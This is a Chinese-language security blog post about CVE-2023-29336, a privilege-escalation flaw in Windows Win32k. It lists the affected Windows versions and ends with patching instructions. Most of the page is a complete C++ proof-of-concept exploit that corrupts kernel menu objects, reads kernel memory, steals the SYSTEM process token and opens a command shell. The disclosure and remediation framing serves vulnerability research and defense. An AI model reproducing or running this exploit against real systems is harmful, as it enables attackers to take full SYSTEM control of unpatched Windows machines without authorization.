探索网络安全新技术
攀登黑客技术最高峰

CVE-2023-29336:Windows Win32k权限提升漏洞(含POC)

CVE-2023-29336:Windows Win32k权限提升漏洞(含POC)-威武网安

漏洞描述

经过身份认证的本地攻击者可以构造恶意程序触发该漏洞,成功利用此漏洞可以提升权限至SYSTEM或造成系统崩溃。

漏洞等级

高危

影响组件

Win32k.sys是Windows操作系统的一个核心系统文件,它是Win32 API的一部分,负责处理图形用户界面(GUI)相关的任务。Win32k.sys主要提供了一组图形设备接口(GDI)和用户界面(UI)相关的API,包括窗口管理、消息传递、绘图和字体处理等功能。

影响版本

Windows Server 2012 R2 (Server Core installation)

Windows Server 2012 R2

Windows Server 2012 (Server Core installation)

Windows Server 2012

Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)

Windows Server 2008 R2 for x64-based Systems Service Pack 1

Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)

Windows Server 2008 for x64-based Systems Service Pack 2

Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)

Windows Server 2008 for 32-bit Systems Service Pack 2

Windows Server 2016 (Server Core installation)

Windows Server 2016

Windows 10 Version 1607 for x64-based Systems

Windows 10 Version 1607 for 32-bit Systems

Windows 10 for x64-based Systems

Windows 10 for 32-bit Systems

CVE-2023-29336 POC

// writeup link:  https://www.numencyber.com/cve-2023-29336-win32k-analysis/
// www.wevul.com  CVE-2023-29336.cpp

#include 
//windows server 2016 Datacenter update patch in May
#include 
#include 

#define IDM_MYMENU 101
#define IDM_EXIT 102
#define IDM_DISABLE 0xf120
#define IDM_ENABLE 104
#define EPROCESS_UNIQUE_PROCESS_ID_OFFSET 0x440
#define EPROCESS_ACTIVE_PROCESS_LINKS_OFFSET 0x448
#define EPROCESS_TOKEN_OFFSET 0x4b8

typedef DWORD64(NTAPI* NtUserEnableMenuItem)(HMENU hMenu, UINT uIDEnableItem, UINT uEnable);

typedef DWORD64(NTAPI* NtUserSetClassLongPtr)(HWND a1, unsigned int a2, unsigned __int64 a3, unsigned int a4);
typedef DWORD64(NTAPI* NtUserCreateAcceleratorTable)(void* Src, int a2);
typedef DWORD64(NTAPI* fnNtUserConsoleControl)(int nConsoleCommand, PVOID, int nConsoleInformationLength);


NtUserSetClassLongPtr g_NtUserSetClassLongPtr = NULL;
NtUserEnableMenuItem g_NtUserEnableMenuItem = NULL;
NtUserCreateAcceleratorTable g_NtUserCreateAcceleratorTable = NULL;
fnNtUserConsoleControl g_pfnNtUserConsoleControl = nullptr;
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam);
int syytem();
typedef struct _SHELLCODE {
    DWORD reserved;
    DWORD pid;
    DWORD off_THREADINFO_ppi;
    DWORD off_EPROCESS_ActiveLink;
    DWORD off_EPROCESS_Token;
    BOOL  bExploited;
    BYTE  pfnWindProc[];
} SHELLCODE, * PSHELLCODE;
struct tagMENU
{
    ULONG64 field_0;
    ULONG64 field_8;
    ULONG64 field_10;
    ULONG64 field_18;
    ULONG64 field_20;
    PVOID obj28;
    DWORD field_30;
    DWORD flag1;
    DWORD flag2;
    DWORD cxMenu;
    DWORD cyMenu;
    ULONG64 field_48;
    PVOID rgItems;
    ULONG64 field_58; // + 0x58
    ULONG64 field_60;
    ULONG64 field_68;
    ULONG64 field_70;
    ULONG64 field_78;
    ULONG64 field_80;
    ULONG64 field_88;
    ULONG64 field_90;
    PVOID ref; // + 0x98
};
struct MyData
{
    BYTE name[0x96];
};
tagMENU* g_pFakeMenu = 0;
static PSHELLCODE pvShellCode = NULL;
HMENU hSystemMenu;
HMENU hMenu;
HMENU hSubMenu;
HMENU hAddedSubMenu;
HMENU hMenuB;
PVOID MENU_add = 0;
DWORD flag = 0;
UINT iWindowCount = 0x100;
HWND HWND_list[0x300];
HWND HWND_list1[0x20];
HMENU HMENUL_list[0x300];
int Hwnd_num = 0;
int Hwnd_num1 = 0;
ULONGLONG HWND_add = 0;
ULONGLONG GS_off = 0;
WORD max = 0;

static PULONGLONG     ptagWNDFake = NULL;
static PULONGLONG     ptagWNDFake1 = NULL;
static PULONGLONG     ptagWNDFake2 = NULL;

static PULONGLONG     GS_hanlde = NULL;

static PULONGLONG     HWND_class = NULL;


struct ThreadParams {
    int threadId;
    int numLoops;
};


static unsigned long long GetGsValue(unsigned long long gsValue)
{
    return gsValue;
}
PVOID
GetMenuHandle(HMENU menu_D)
{
    int conut = 0;
    PVOID HANDLE = 0;
    PBYTE add = 0;
    WORD temp = 0;
    DWORD offset = 0xbd688;
    HMODULE hModule = LoadLibraryA("USER32.DLL");

    PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, "IsMenu");
    ULONGLONG par1 = 0;
    DWORD par2 = 0;
    memcpy((VOID*)&par1, (char*)((ULONGLONG)hModule + offset), 0x08);
    memcpy((VOID*)&par2, (char*)((ULONGLONG)hModule + offset + 0x08), 0x02);

    add = (PBYTE)(par1 + 0x18 * (WORD)menu_D);

    if (add)
    {
        HANDLE = *(PVOID*)add;
    }
    else
    {
        HANDLE = 0;
    }
    HANDLE= (PVOID*)((ULONGLONG)HANDLE - GS_off+0x20);
    return *(PVOID*)HANDLE;

}

PVOID
xxGetHMValidateHandle(HMENU menu_D, DWORD type_hanlde)
{
    int conut = 0;
    PVOID HANDLE = 0;
    PBYTE add = 0;
    WORD temp = 0;
    DWORD offset = 0xbd688;
    HMODULE hModule = LoadLibraryA("USER32.DLL");

    PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, "IsMenu");
    ULONGLONG par1 = 0;
    DWORD par2 = 0;
    memcpy((VOID*)&par1, (char*)((ULONGLONG)hModule + offset), 0x08);
    memcpy((VOID*)&par2, (char*)((ULONGLONG)hModule + offset + 0x08), 0x02);

    temp = (ULONGLONG)menu_D >> 16;
    add = (PBYTE)(par1 + 0x18 * (WORD)menu_D);
    if (add)
    {
        HANDLE = *(PVOID*)add;
    }
    else
    {
        HANDLE = 0;
    }
    HANDLE = (PVOID*)((ULONGLONG)HANDLE - GS_off + 0x20);
    return *(PVOID*)HANDLE;

}


static
VOID
xxReallocPopupMenu(VOID)
{
    for (INT i = 0; i < 0x8; i++)
    {
        WNDCLASSEXW Class = { 0 };
        WCHAR       szTemp[0x100] = { 0 };
        HWND        hwnd = NULL;
        wsprintfW(szTemp, L"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@A%d", i);
        Class.cbSize = sizeof(WNDCLASSEXA);
        Class.lpfnWndProc = DefWindowProcW;
        Class.cbWndExtra = 0;
        Class.hInstance = GetModuleHandleA(NULL);
        Class.lpszMenuName = NULL;
        Class.lpszClassName = szTemp;
        if (!RegisterClassExW(&Class))
        {
            continue;
        }
    }

}
VOID
createclass(VOID)
{
    WCHAR   szTemp[0x100] = { 0 };
    for (INT i = 9; i < 29; i++)
    {
        WNDCLASSEXW Class = { 0 };
        
        HWND        hwnd = NULL;
        wsprintfW(szTemp, L"A@A%d", i);
        Class.cbSize = sizeof(WNDCLASSEXA);
        Class.lpfnWndProc = DefWindowProcW;
        Class.cbWndExtra = 0x20;
        Class.hInstance = GetModuleHandleA(NULL);
        Class.lpszMenuName = NULL;
        Class.lpszClassName = szTemp;
        Class.cbClsExtra = 0x1a0;
        if (!RegisterClassExW(&Class))
        {
            continue;
        }
    }

    for (INT i = 9; i < 29; i++) { wsprintfW(szTemp, L"A@A%d", i); HWND_list1[i]=CreateWindowEx(NULL, szTemp, NULL, WS_VISIBLE, 0, 0, 0, 0, NULL,NULL, NULL, NULL); } } ULONG64 Read64(ULONG64 address) { MENUBARINFO mbi = { 0 }; mbi.cbSize = sizeof(MENUBARINFO); g_pFakeMenu->rgItems = PVOID(address - 0x48);
    GetMenuBarInfo(HWND_list[max+1], OBJID_MENU, 1, &mbi);

    return (unsigned int)mbi.rcBar.left + ((ULONGLONG)mbi.rcBar.top << 32);
}
void exploit()
{
    for (int i = 0; i < 0x20; i++)
    {
        
        ULONG64 pmenu = SetClassLongPtr(HWND_list1[i], 0x270, (LONG_PTR)g_pFakeMenu);
        if (pmenu != 0)
        {
            Hwnd_num = i;
            MENUBARINFO mbi = { 0 };
            mbi.cbSize = sizeof(MENUBARINFO);



        }
    }


    // Token stealing
    ULONG64 p = Read64(HWND_add +0x250+ 0x10); // USER_THREADINFO 
    p = Read64(p);            //THREADINFO
    p = Read64(p + 0x220);         // (PROCESSINFO)         

    ULONG64 eprocess = p;
    printf("Current EPROCESS = %llx\n", eprocess);
    p = Read64(p + 0x2f0);

    do {

        p = Read64(p + 0x08);
        ULONG64 pid = Read64(p - 0x08);
        if (pid == 4) {

            ULONG64 pSystemToken = Read64(p + 0x68);
            printf("pSys/tem Token = %llx \n", pSystemToken);

            HWND_class = (PULONGLONG)((PBYTE)0x303000);
            HWND_class[8] = eprocess + 0x290;
            HWND_class[12] = 0x100;
            HWND_class[20] = 0x303010;

            ULONG64 ret_add = SetClassLongPtr(HWND_list1[Hwnd_num], 0x250 + 0x98 - 0xa0, (LONG_PTR)HWND_class);
            SetClassLongPtr(HWND_list[max + 1], 0x28, pSystemToken);
            ret_add = SetClassLongPtr(HWND_list1[Hwnd_num], 0x250 + 0x98 - 0xa0, (LONG_PTR)ret_add);

            break;
        }
    } while (p != eprocess);
    syytem();
}


void buildmem()
{
    
    WORD max_handle = 0;
    pvShellCode = (PSHELLCODE)VirtualAlloc((PVOID)0x300000, 0x10000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (pvShellCode == NULL)
    {
        return;
    }
    ZeroMemory(pvShellCode, 0x10000);



    ptagWNDFake = (PULONGLONG)((PBYTE)0x304140);
    ptagWNDFake[0] = (ULONGLONG)0x304140;

    ptagWNDFake[2] = (ULONGLONG)0x304140 + 0x10;



    ptagWNDFake[6] = (ULONGLONG)0x304140;
    ptagWNDFake[8] = 0x305300;

    ptagWNDFake[11] = (ULONGLONG)MENU_add;
    ptagWNDFake[68] = (ULONGLONG)0x304140 + 0x230;
    ptagWNDFake[69] = (ULONGLONG)0x304140 + 0x28;
    ptagWNDFake[70] = (ULONGLONG)0x304140 + 0x30;
    ptagWNDFake[71] = (ULONGLONG)0x000004;


    ptagWNDFake1 = (PULONGLONG)((PBYTE)0x305300);
    ptagWNDFake1[1] = (ULONGLONG)0x11;
    ptagWNDFake1[2] = (ULONGLONG)0x305320;
    ptagWNDFake1[6] = (ULONGLONG)0x1000000000020000;
    ptagWNDFake1[8] = (ULONGLONG)0x00000000029d0000;
    ptagWNDFake1[11] = (ULONGLONG)HWND_add + 0x63 - 0x120;


    ptagWNDFake1[14] = (ULONGLONG)0x306500;
    ptagWNDFake1[16] = (ULONGLONG)305400;


    ptagWNDFake2 = (PULONGLONG)((PBYTE)0x306500);
    ptagWNDFake1[11] = (ULONGLONG)0x306600;



    WNDCLASSEX WndClass = { 0 };
    WndClass.cbSize = sizeof(WNDCLASSEX);
    WndClass.lpfnWndProc = DefWindowProc;
    WndClass.style = CS_VREDRAW | CS_HREDRAW;
    WndClass.cbWndExtra = 0xe0;
    WndClass.hInstance = NULL;
    WndClass.lpszMenuName = NULL;
    WndClass.lpszClassName = L"NormalClass";
    
    RegisterClassEx(&WndClass);

    for (int i = 0; i < 0x200; i++)
    {
        HMENUL_list[i] = CreateMenu();
    }
    for (int i = 0; i < 0x100; i++)
    {
        HWND_list[i] = CreateWindowEx(NULL, L"NormalClass", NULL, WS_VISIBLE, 0, 0, 0, 0, NULL, HMENUL_list[i], NULL, NULL);

    }
    for (int i = 0; i < 0x100; i++)
    {
       

        SetWindowLongPtr(HWND_list[i], 0x58, (LONG_PTR)0x0002080000000000);

        SetWindowLongPtr(HWND_list[i], 0x80, (LONG_PTR)0x0000303030000000);

    }
    

    for (int i = 0x20; i < 0x60; i++) { if ((ULONGLONG)xxGetHMValidateHandle((HMENU)HWND_list[i * 2], 0x01)- (ULONGLONG)xxGetHMValidateHandle((HMENU)HWND_list[i * 2 - 1], 0x01)== 0x250) { if ((ULONGLONG)xxGetHMValidateHandle((HMENU)HWND_list[i * 2 + 1], 0x01)-(ULONGLONG)xxGetHMValidateHandle((HMENU)HWND_list[i * 2], 0x01) == 0x250) { HWND_add = (ULONGLONG)xxGetHMValidateHandle((HMENU)HWND_list[i*2], 0x01); max = i * 2; break; } } if (i == 0x5f) { HWND_add = 0; } } ptagWNDFake1[11] = (ULONGLONG)HWND_add + 0x63 - 0x120; DestroyWindow(HWND_list[max]); createclass(); // Create a fake spmenu PVOID hHeap = (PVOID)0x302000; g_pFakeMenu = (tagMENU*)(PVOID)0x302000; g_pFakeMenu->ref = (PVOID)0x302300;
    *(PULONG64)g_pFakeMenu->ref = (ULONG64)g_pFakeMenu;
    // cItems = 1
    g_pFakeMenu->obj28 = (PVOID)0x302200;
    *(PULONG64)((PBYTE)g_pFakeMenu->obj28 + 0x2C) = 1;
    // rgItems
    g_pFakeMenu->rgItems = (PVOID)0x304000;
    // cx / cy must > 0
    g_pFakeMenu->flag1 = 1;
    g_pFakeMenu->flag2 = 1;
    g_pFakeMenu->cxMenu = 1;
    g_pFakeMenu->cyMenu = 1;


    //
    
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
    ULONGLONG gsValue = 0;
    unsigned char shellcode[] = "\x65\x48\x8B\x04\x25\x30\x00\x00\x00\x90\x90\x90\x90\x90\x90\x90\x90\x90\xc3";

    LPVOID executableMemory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (executableMemory == NULL) {
        return 1;
    }
    memcpy(executableMemory, shellcode, sizeof(shellcode));
    
    gsValue = ((ULONGLONG(*)())executableMemory)();
    gsValue = gsValue + 0x800;
    GS_hanlde = (PULONGLONG)(PBYTE)gsValue;
    GS_off = GS_hanlde[5];

    char str[0xb8] = "";
    memset(str, 0x41, 0xa8);
    g_NtUserEnableMenuItem = (NtUserEnableMenuItem)GetProcAddress(GetModuleHandleA("win32u.dll"), "NtUserEnableMenuItem");
    g_NtUserSetClassLongPtr = (NtUserSetClassLongPtr)GetProcAddress(GetModuleHandleA("win32u.dll"), "NtUserSetClassLongPtr");
    g_NtUserCreateAcceleratorTable = (NtUserCreateAcceleratorTable)GetProcAddress(GetModuleHandleA("win32u.dll"), "NtUserCreateAcceleratorTable");
    g_pfnNtUserConsoleControl = (fnNtUserConsoleControl)GetProcAddress(GetModuleHandleA("win32u.dll"), "NtUserConsoleControl");

    WNDCLASS wc = { 0 };

    wc.lpfnWndProc = WndProc;
    wc.hInstance = hInstance;
    wc.lpszClassName = TEXT("EnableMenuItem");

    RegisterClass(&wc);

    HWND hWnd = CreateWindow(
        wc.lpszClassName,
        TEXT("EnableMenuItem"),
        WS_OVERLAPPEDWINDOW,
        CW_USEDEFAULT,
        CW_USEDEFAULT,
        400, 300,
        NULL,
        NULL,
        hInstance,
        NULL
    );

    if (!hWnd) return FALSE;

    ///


    hSystemMenu = GetSystemMenu(hWnd, FALSE);

    hSubMenu = CreatePopupMenu(); 
    MENU_add = GetMenuHandle(hSubMenu);
    hMenuB = CreateMenu();

    buildmem();
    if (HWND_add == 0)
    {
        return 0;
    }


    AppendMenu(hSubMenu, MF_STRING, 0x2061, TEXT("0"));
    AppendMenu(hSubMenu, MF_STRING, 0xf060, TEXT("1"));

    DeleteMenu(hSystemMenu, SC_CLOSE, MF_BYCOMMAND);

    AppendMenu(hMenuB, MF_POPUP, (UINT_PTR)hSubMenu, L"Menu A");

    AppendMenu(hSystemMenu, MF_POPUP, (UINT_PTR)hMenuB, L"Menu B");


    
    ShowWindow(hWnd, nCmdShow);
    UpdateWindow(hWnd);

    flag = 1;
    g_NtUserEnableMenuItem(hSystemMenu, 0xf060, 0x01);

    exploit();

    MSG msg = { 0 };

    while (GetMessage(&msg, NULL, 0, 0))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }

    return (int)msg.wParam;
}

LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
    switch (message)
    {
    case WM_DESTROY:
        PostQuitMessage(0);
        return 0;
    case 0xae:
        switch (wParam)
        {
        case 0x1000:
            if (flag)
            {
                int itemCount = GetMenuItemCount(hMenuB);  

                for (int i = itemCount - 1; i >= 0; i--) {
                    RemoveMenu(hMenuB, i, MF_BYPOSITION);
                }
                DestroyMenu(hSubMenu);
                xxReallocPopupMenu();
            }
        case 0x1001:
            if (flag)
            {
                int itemCount = GetMenuItemCount(hMenuB);  

                for (int i = itemCount - 1; i >= 0; i--) {
                    RemoveMenu(hMenuB, i, MF_BYPOSITION);
                }
                DestroyMenu(hSubMenu);
                xxReallocPopupMenu();
            }

            return 0;
        }
        break;


    }

    return DefWindowProc(hWnd, message, wParam, lParam);
}
int syytem()
{
    SECURITY_ATTRIBUTES     sa;
    HANDLE                  hRead, hWrite;
    byte                    buf[40960] = { 0 };
    STARTUPINFOW            si;
    PROCESS_INFORMATION     pi;
    DWORD                   bytesRead;
    RtlSecureZeroMemory(&si, sizeof(si));
    RtlSecureZeroMemory(&pi, sizeof(pi));
    RtlSecureZeroMemory(&sa, sizeof(sa));
    int br = 0;
    sa.nLength = sizeof(SECURITY_ATTRIBUTES);
    sa.lpSecurityDescriptor = NULL;
    sa.bInheritHandle = TRUE;
    if (!CreatePipe(&hRead, &hWrite, &sa, 0))
    {
        return -3;
    }

    si.cb = sizeof(STARTUPINFO);
    GetStartupInfoW(&si);
    si.hStdError = hWrite;
    si.hStdOutput = hWrite;
    si.wShowWindow = SW_HIDE;
    si.lpDesktop = L"WinSta0\\Default";
    si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    wchar_t cmd[4096] = { L"cmd.exe" };

    if (!CreateProcessW(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
    {
        CloseHandle(hWrite);
        CloseHandle(hRead);
        printf("[!] CreateProcessW Failed![%lx]\n", GetLastError());
        return -2;
    }
    CloseHandle(hWrite);

}

防护措施

Windows自动更新

Windows系统默认启用 Microsoft Update,当检测到可用更新时,将会自动下载更新并在下一次启动时安装。还可通过以下步骤快速安装更新:

1、点击“开始菜单”或按Windows快捷键,点击进入“设置”

2、选择“更新和安全”,进入“Windows更新”(Windows Server 2012以及Windows Server 2012 R2可通过控制面板进入“Windows更新”,步骤为“控制面板”-> “系统和安全”->“Windows更新”)

3、选择“检查更新”,等待系统将自动检查并下载可用更新

4、重启计算机,安装更新

系统重新启动后,可通过进入“Windows更新”->“查看更新历史记录”查看是否成功安装了更新。对于没有成功安装的更新,可以点击该更新名称进入微软官方更新描述链接,点击最新的SSU名称并在新链接中点击“Microsoft 更新目录”,然后在新链接中选择适用于目标系统的补丁进行下载并安装。

手动安装补丁

另外,对于不能自动更新的系统版本,可参考以下链接下载适用于该系统的补丁并安装:

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-29336

打赏
版权声明:本文采用知识共享 署名4.0国际许可协议 [BY-NC-SA] 进行授权
文章名称:《CVE-2023-29336:Windows Win32k权限提升漏洞(含POC)》
文章链接:https://www.wevul.com/1500.html
本站所有内容均来自互联网,只限个人技术研究,禁止商业用途,请下载后24小时内删除。

文章推荐

如果文章对您有帮助 请不要吝啬 打赏一下小站

支付宝扫一扫打赏

微信扫一扫打赏

登录

找回密码

注册